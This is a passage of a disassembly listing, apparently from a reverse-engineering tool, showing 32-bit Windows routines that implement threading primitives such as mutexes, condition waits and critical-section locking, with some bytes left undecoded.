					; DATA XREF: ___:off_4313ECo
		call	sub_4017BC	; jumptable 004313BE case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313D5:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		call	near ptr 2750607h
		nop
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		call	near ptr 7C9010EDh
		nop
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		call	near ptr 2750562h
		nop
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 231EA68h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0EC21E850h
		dd 50900234h, 9050D3FFh, 31EA8FE8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 31F02EE8h
		dd 28468902h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		nop
		call	near ptr 2740BCAh
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447700
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447700, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		call	near ptr 7C901005h
		nop
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447700
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447700, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 27409E8h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		call	near ptr 27605BCh
		nop
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 2770E0Bh
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 277069Fh
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		call	near ptr 7C901005h
		nop
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		call	near ptr 7C9010EDh
		nop


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		call	near ptr 2750562h
		nop
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0E94AE890h
		dd 7E830232h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2760416h
		nop
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		call	near ptr 2750562h
		nop
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E812E890h
		dd 7E830232h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		nop
		call	near ptr 2760788h
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 2760788h
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		nop
		call	near ptr 2760788h
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



